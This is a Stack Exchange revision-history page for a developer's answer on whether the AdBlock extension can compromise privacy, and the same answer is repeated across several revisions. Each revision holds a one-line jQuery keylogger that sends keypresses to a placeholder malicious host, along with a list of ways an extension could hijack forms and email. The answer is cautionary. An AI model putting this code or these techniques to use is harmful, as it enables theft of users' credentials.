Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange
9 added 358 characters in body
source | link

Update

After thinking it over, I have to agree with the other answers in that, despite the fact that it CAN access your data, Adblock is more likely to protect your privacy than invade it. The real risk are malicious ads that prompt you to install software on your computer. Adblock prevents these.

Below is the original, cautionary answer:

Yes, it totally is.

Adblock Plus is a browser extension/add-on developed by an independent developer. Adblock can access the DOM (document object model) on all pages.

The way AdBlock works is that it injects script into your browser, which searches the DOM, and then runs a hide() function on what it determines are ads.

That means AdBlock (and any Chrome extension with that permission) can access your DOM. Adblock cannot access JavaScript variables.

What does this mean?

If you are on a website with secure authentication, and there is a JavaScript object with something private like an AuthKey, you are safe. AdBlock cannot access JavaScript variables.

However, AdBlock CAN run code equivalent to this.

$(window).onKeyPress(function(e){$('html').append('<img src='http://mymalicioussite.com/stealData/keyPress.png?key=' + e.keyCode)})

Which essentially will route any keys you press to a remote server.

This can be used to steal your password which is even worse than stealing your token.

That Being Said, Is AdBlock itself Dangerous?

It seems to me that AdBlock is not overly dangerous as the developer has identified himself and it is used by millions of people. If it was doing the kind of trickiness as above, someone would have likely noticed and blown the whistle.

But don't think Chrome Extensions are totally safe. All of them can steal any data, as well as other malicious things.

What Else Can It Do?

A Chrome Extension can also perform the following security violations quite trivially...

  • Route the content of any email or page you read to a third-party source (if this email contains unencrypted login information, you are busted) If you can see it on the screen, so can any Chrome Extension, no questions asked.
  • Enter information into a field and press the submit button, for example, send an e-mail
  • If you leave your browser open, and the extension knows how, it can use your email interface (Gmail, Outlook) to send e-mail of its choosing to your contacts. This is trivial.
  • Change the script associated with any button, if that was originally put in with jQuery. For example, the button that sends your sign-in information to the server can be changed slightly to send that information to both the server and http://mymaliciousserver. This is trivial.

Update

It has been verified through discussion that AdBlock is open source. This should let you trust AdBlock more, but remember it is still capable of doing those things. I've reviewed the source and I can safely say I haven't any idea at all what's going on.

Source: I am a JavaScript and Chrome Extension developer.

Yes, it totally is.

Adblock Plus is a browser extension/add-on developed by an independent developer. Adblock can access the DOM (document object model) on all pages.

The way AdBlock works is that it injects script into your browser, which searches the DOM, and then runs a hide() function on what it determines are ads.

That means AdBlock (and any Chrome extension with that permission) can access your DOM. Adblock cannot access JavaScript variables.

What does this mean?

If you are on a website with secure authentication, and there is a JavaScript object with something private like an AuthKey, you are safe. AdBlock cannot access JavaScript variables.

However, AdBlock CAN run code equivalent to this.

$(window).onKeyPress(function(e){$('html').append('<img src='http://mymalicioussite.com/stealData/keyPress.png?key=' + e.keyCode)})

Which essentially will route any keys you press to a remote server.

This can be used to steal your password which is even worse than stealing your token.

That Being Said, Is AdBlock itself Dangerous?

It seems to me that AdBlock is not overly dangerous as the developer has identified himself and it is used by millions of people. If it was doing the kind of trickiness as above, someone would have likely noticed and blown the whistle.

But don't think Chrome Extensions are totally safe. All of them can steal any data, as well as other malicious things.

What Else Can It Do?

A Chrome Extension can also perform the following security violations quite trivially...

  • Route the content of any email or page you read to a third-party source (if this email contains unencrypted login information, you are busted) If you can see it on the screen, so can any Chrome Extension, no questions asked.
  • Enter information into a field and press the submit button, for example, send an e-mail
  • If you leave your browser open, and the extension knows how, it can use your email interface (Gmail, Outlook) to send e-mail of its choosing to your contacts. This is trivial.
  • Change the script associated with any button, if that was originally put in with jQuery. For example, the button that sends your sign-in information to the server can be changed slightly to send that information to both the server and http://mymaliciousserver. This is trivial.

Update

It has been verified through discussion that AdBlock is open source. This should let you trust AdBlock more, but remember it is still capable of doing those things. I've reviewed the source and I can safely say I haven't any idea at all what's going on.

Source: I am a JavaScript and Chrome Extension developer.

Update

After thinking it over, I have to agree with the other answers in that, despite the fact that it CAN access your data, Adblock is more likely to protect your privacy than invade it. The real risk are malicious ads that prompt you to install software on your computer. Adblock prevents these.

Below is the original, cautionary answer:

Yes, it totally is.

Adblock Plus is a browser extension/add-on developed by an independent developer. Adblock can access the DOM (document object model) on all pages.

The way AdBlock works is that it injects script into your browser, which searches the DOM, and then runs a hide() function on what it determines are ads.

That means AdBlock (and any Chrome extension with that permission) can access your DOM. Adblock cannot access JavaScript variables.

What does this mean?

If you are on a website with secure authentication, and there is a JavaScript object with something private like an AuthKey, you are safe. AdBlock cannot access JavaScript variables.

However, AdBlock CAN run code equivalent to this.

$(window).onKeyPress(function(e){$('html').append('<img src='http://mymalicioussite.com/stealData/keyPress.png?key=' + e.keyCode)})

Which essentially will route any keys you press to a remote server.

This can be used to steal your password which is even worse than stealing your token.

That Being Said, Is AdBlock itself Dangerous?

It seems to me that AdBlock is not overly dangerous as the developer has identified himself and it is used by millions of people. If it was doing the kind of trickiness as above, someone would have likely noticed and blown the whistle.

But don't think Chrome Extensions are totally safe. All of them can steal any data, as well as other malicious things.

What Else Can It Do?

A Chrome Extension can also perform the following security violations quite trivially...

  • Route the content of any email or page you read to a third-party source (if this email contains unencrypted login information, you are busted) If you can see it on the screen, so can any Chrome Extension, no questions asked.
  • Enter information into a field and press the submit button, for example, send an e-mail
  • If you leave your browser open, and the extension knows how, it can use your email interface (Gmail, Outlook) to send e-mail of its choosing to your contacts. This is trivial.
  • Change the script associated with any button, if that was originally put in with jQuery. For example, the button that sends your sign-in information to the server can be changed slightly to send that information to both the server and http://mymaliciousserver. This is trivial.

Update

It has been verified through discussion that AdBlock is open source. This should let you trust AdBlock more, but remember it is still capable of doing those things. I've reviewed the source and I can safely say I haven't any idea at all what's going on.

Source: I am a JavaScript and Chrome Extension developer.

8 deleted 11 characters in body
source | link

Yes, it totally is.

Adblock Plus is a Google Chrome Extensionbrowser extension/add-on developed by an independent developer. Adblock can access the DOM (document object model) on all pages.

The way AdBlock works is that it injects script into your browser, which searches the DOM, and then runs a hide() function on what it determines are ads.

That means AdBlock (and any Chrome extension with that permission) can access your DOM. Adblock cannot access JavaScript variables.

What does this mean?

If you are on a website with secure authentication, and there is a JavaScript object with something private like an AuthKey, you are safe. AdBlock cannot access JavaScript variables.

However, AdBlock CAN run code equivalent to this.

$(window).onKeyPress(function(e){$('html').append('<img src='http://mymalicioussite.com/stealData/keyPress.png?key=' + e.keyCode)})

Which essentially will route any keys you press to a remote server.

This can be used to steal your password which is even worse than stealing your token.

That Being Said, Is AdBlock itself Dangerous?

It seems to me that AdBlock is not overly dangerous as the developer has identified himself and it is used by millions of people. If it was doing the kind of trickiness as above, someone would have likely noticed and blown the whistle.

But don't think Chrome Extensions are totally safe. All of them can steal any data, as well as other malicious things.

What Else Can It Do?

A Chrome Extension can also perform the following security violations quite trivially...

  • Route the content of any email or page you read to a third-party source (if this email contains unencrypted login information, you are busted) If you can see it on the screen, so can any Chrome Extension, no questions asked.
  • Enter information into a field and press the submit button, for example, send an e-mail
  • If you leave your browser open, and the extension knows how, it can use your email interface (Gmail, Outlook) to send e-mail of its choosing to your contacts. This is trivial.
  • Change the script associated with any button, if that was originally put in with jQuery. For example, the button that sends your sign-in information to the server can be changed slightly to send that information to both the server and http://mymaliciousserver. This is trivial.

Update

It has been verified through discussion that AdBlock is open source. This should let you trust AdBlock more, but remember it is still capable of doing those things. I've reviewed the source and I can safely say I haven't any idea at all what's going on.

Source: I am a JavaScript and Chrome Extension developer.

Yes, it totally is.

Adblock is a Google Chrome Extension developed by an independent developer. Adblock can access the DOM (document object model) on all pages.

The way AdBlock works is that it injects script into your browser, which searches the DOM, and then runs a hide() function on what it determines are ads.

That means AdBlock (and any Chrome extension with that permission) can access your DOM. Adblock cannot access JavaScript variables.

What does this mean?

If you are on a website with secure authentication, and there is a JavaScript object with something private like an AuthKey, you are safe. AdBlock cannot access JavaScript variables.

However, AdBlock CAN run code equivalent to this.

$(window).onKeyPress(function(e){$('html').append('<img src='http://mymalicioussite.com/stealData/keyPress.png?key=' + e.keyCode)})

Which essentially will route any keys you press to a remote server.

This can be used to steal your password which is even worse than stealing your token.

That Being Said, Is AdBlock itself Dangerous?

It seems to me that AdBlock is not overly dangerous as the developer has identified himself and it is used by millions of people. If it was doing the kind of trickiness as above, someone would have likely noticed and blown the whistle.

But don't think Chrome Extensions are totally safe. All of them can steal any data, as well as other malicious things.

What Else Can It Do?

A Chrome Extension can also perform the following security violations quite trivially...

  • Route the content of any email or page you read to a third-party source (if this email contains unencrypted login information, you are busted) If you can see it on the screen, so can any Chrome Extension, no questions asked.
  • Enter information into a field and press the submit button, for example, send an e-mail
  • If you leave your browser open, and the extension knows how, it can use your email interface (Gmail, Outlook) to send e-mail of its choosing to your contacts. This is trivial.
  • Change the script associated with any button, if that was originally put in with jQuery. For example, the button that sends your sign-in information to the server can be changed slightly to send that information to both the server and http://mymaliciousserver. This is trivial.

Update

It has been verified through discussion that AdBlock is open source. This should let you trust AdBlock more, but remember it is still capable of doing those things. I've reviewed the source and I can safely say I haven't any idea at all what's going on.

Source: I am a JavaScript and Chrome Extension developer.

Yes, it totally is.

Adblock Plus is a browser extension/add-on developed by an independent developer. Adblock can access the DOM (document object model) on all pages.

The way AdBlock works is that it injects script into your browser, which searches the DOM, and then runs a hide() function on what it determines are ads.

That means AdBlock (and any Chrome extension with that permission) can access your DOM. Adblock cannot access JavaScript variables.

What does this mean?

If you are on a website with secure authentication, and there is a JavaScript object with something private like an AuthKey, you are safe. AdBlock cannot access JavaScript variables.

However, AdBlock CAN run code equivalent to this.

$(window).onKeyPress(function(e){$('html').append('<img src='http://mymalicioussite.com/stealData/keyPress.png?key=' + e.keyCode)})

Which essentially will route any keys you press to a remote server.

This can be used to steal your password which is even worse than stealing your token.

That Being Said, Is AdBlock itself Dangerous?

It seems to me that AdBlock is not overly dangerous as the developer has identified himself and it is used by millions of people. If it was doing the kind of trickiness as above, someone would have likely noticed and blown the whistle.

But don't think Chrome Extensions are totally safe. All of them can steal any data, as well as other malicious things.

What Else Can It Do?

A Chrome Extension can also perform the following security violations quite trivially...

  • Route the content of any email or page you read to a third-party source (if this email contains unencrypted login information, you are busted) If you can see it on the screen, so can any Chrome Extension, no questions asked.
  • Enter information into a field and press the submit button, for example, send an e-mail
  • If you leave your browser open, and the extension knows how, it can use your email interface (Gmail, Outlook) to send e-mail of its choosing to your contacts. This is trivial.
  • Change the script associated with any button, if that was originally put in with jQuery. For example, the button that sends your sign-in information to the server can be changed slightly to send that information to both the server and http://mymaliciousserver. This is trivial.

Update

It has been verified through discussion that AdBlock is open source. This should let you trust AdBlock more, but remember it is still capable of doing those things. I've reviewed the source and I can safely say I haven't any idea at all what's going on.

Source: I am a JavaScript and Chrome Extension developer.

7 added 274 characters in body
source | link

Yes, it totally is.

Adblock is a Google Chrome Extension developed by an independent developer. Adblock can access the DOM (document object model) on all pages.

The way AdBlock works is that it injects script into your browser, which searches the DOM, and then runs a hide() function on what it determines are ads.

That means AdBlock (and any Chrome extension with that permission) can access your DOM. Adblock cannot access JavaScript variables.

What does this mean?

If you are on a website with secure authentication, and there is a JavaScript object with something private like an AuthKey, you are safe. AdBlock cannot access JavaScript variables.

However, AdBlock CAN run code equivalent to this.

$(window).onKeyPress(function(e){$('html').append('<img src='http://mymalicioussite.com/stealData/keyPress.png?key=' + e.keyCode)})

Which essentially will route any keys you press to a remote server.

This can be used to steal your password which is even worse than stealing your token.

That Being Said, Is AdBlock itself Dangerous?

It seems to me that AdBlock is not overly dangerous as the developer has identified himself and it is used by millions of people. If it was doing the kind of trickiness as above, someone would have likely noticed and blown the whistle.

But don't think Chrome Extensions are totally safe. All of them can steal any data, as well as other malicious things.

What Else Can It Do?

A Chrome Extension can also perform the following security violations quite trivially...

  • Route the content of any email or page you read to a third-party source (if this email contains unencrypted login information, you are busted) If you can see it on the screen, so can any Chrome Extension, no questions asked.
  • Enter information into a field and press the submit button, for example, send an e-mail
  • If you leave your browser open, and the extension knows how, it can use your email interface (Gmail, Outlook) to send e-mail of its choosing to your contacts. This is trivial.
  • Change the script associated with any button, if that was originally put in with jQuery. For example, the button that sends your sign-in information to the server can be changed slightly to send that information to both the server and http://mymaliciousserver. This is trivial.

Update

It has been verified through discussion that AdBlock is open source. This should let you trust AdBlock more, but remember it is still capable of doing those things. I've reviewed the source and I can safely say I haven't any idea at all what's going on.

Source: I am a JavaScript and Chrome Extension developer.

Yes, it totally is.

Adblock is a Google Chrome Extension developed by an independent developer. Adblock can access the DOM (document object model) on all pages.

The way AdBlock works is that it injects script into your browser, which searches the DOM, and then runs a hide() function on what it determines are ads.

That means AdBlock (and any Chrome extension with that permission) can access your DOM. Adblock cannot access JavaScript variables.

What does this mean?

If you are on a website with secure authentication, and there is a JavaScript object with something private like an AuthKey, you are safe. AdBlock cannot access JavaScript variables.

However, AdBlock CAN run code equivalent to this.

$(window).onKeyPress(function(e){$('html').append('<img src='http://mymalicioussite.com/stealData/keyPress.png?key=' + e.keyCode)})

Which essentially will route any keys you press to a remote server.

This can be used to steal your password which is even worse than stealing your token.

That Being Said, Is AdBlock itself Dangerous?

It seems to me that AdBlock is not overly dangerous as the developer has identified himself and it is used by millions of people. If it was doing the kind of trickiness as above, someone would have likely noticed and blown the whistle.

But don't think Chrome Extensions are totally safe. All of them can steal any data, as well as other malicious things.

What Else Can It Do?

A Chrome Extension can also perform the following security violations quite trivially...

  • Route the content of any email or page you read to a third-party source (if this email contains unencrypted login information, you are busted) If you can see it on the screen, so can any Chrome Extension, no questions asked.
  • Enter information into a field and press the submit button, for example, send an e-mail
  • If you leave your browser open, and the extension knows how, it can use your email interface (Gmail, Outlook) to send e-mail of its choosing to your contacts. This is trivial.
  • Change the script associated with any button, if that was originally put in with jQuery. For example, the button that sends your sign-in information to the server can be changed slightly to send that information to both the server and http://mymaliciousserver. This is trivial.

Source: I am a JavaScript and Chrome Extension developer.

Yes, it totally is.

Adblock is a Google Chrome Extension developed by an independent developer. Adblock can access the DOM (document object model) on all pages.

The way AdBlock works is that it injects script into your browser, which searches the DOM, and then runs a hide() function on what it determines are ads.

That means AdBlock (and any Chrome extension with that permission) can access your DOM. Adblock cannot access JavaScript variables.

What does this mean?

If you are on a website with secure authentication, and there is a JavaScript object with something private like an AuthKey, you are safe. AdBlock cannot access JavaScript variables.

However, AdBlock CAN run code equivalent to this.

$(window).onKeyPress(function(e){$('html').append('<img src='http://mymalicioussite.com/stealData/keyPress.png?key=' + e.keyCode)})

Which essentially will route any keys you press to a remote server.

This can be used to steal your password which is even worse than stealing your token.

That Being Said, Is AdBlock itself Dangerous?

It seems to me that AdBlock is not overly dangerous as the developer has identified himself and it is used by millions of people. If it was doing the kind of trickiness as above, someone would have likely noticed and blown the whistle.

But don't think Chrome Extensions are totally safe. All of them can steal any data, as well as other malicious things.

What Else Can It Do?

A Chrome Extension can also perform the following security violations quite trivially...

  • Route the content of any email or page you read to a third-party source (if this email contains unencrypted login information, you are busted) If you can see it on the screen, so can any Chrome Extension, no questions asked.
  • Enter information into a field and press the submit button, for example, send an e-mail
  • If you leave your browser open, and the extension knows how, it can use your email interface (Gmail, Outlook) to send e-mail of its choosing to your contacts. This is trivial.
  • Change the script associated with any button, if that was originally put in with jQuery. For example, the button that sends your sign-in information to the server can be changed slightly to send that information to both the server and http://mymaliciousserver. This is trivial.

Update

It has been verified through discussion that AdBlock is open source. This should let you trust AdBlock more, but remember it is still capable of doing those things. I've reviewed the source and I can safely say I haven't any idea at all what's going on.

Source: I am a JavaScript and Chrome Extension developer.

6 correct an important mistake
source | link
5 correct an important mistake
source | link
4 Made example code a bit more scary /accurate
source | link
3 Added more fiendish examples
source | link
2 Corrected code example to make the terror more real
source | link
1
source | link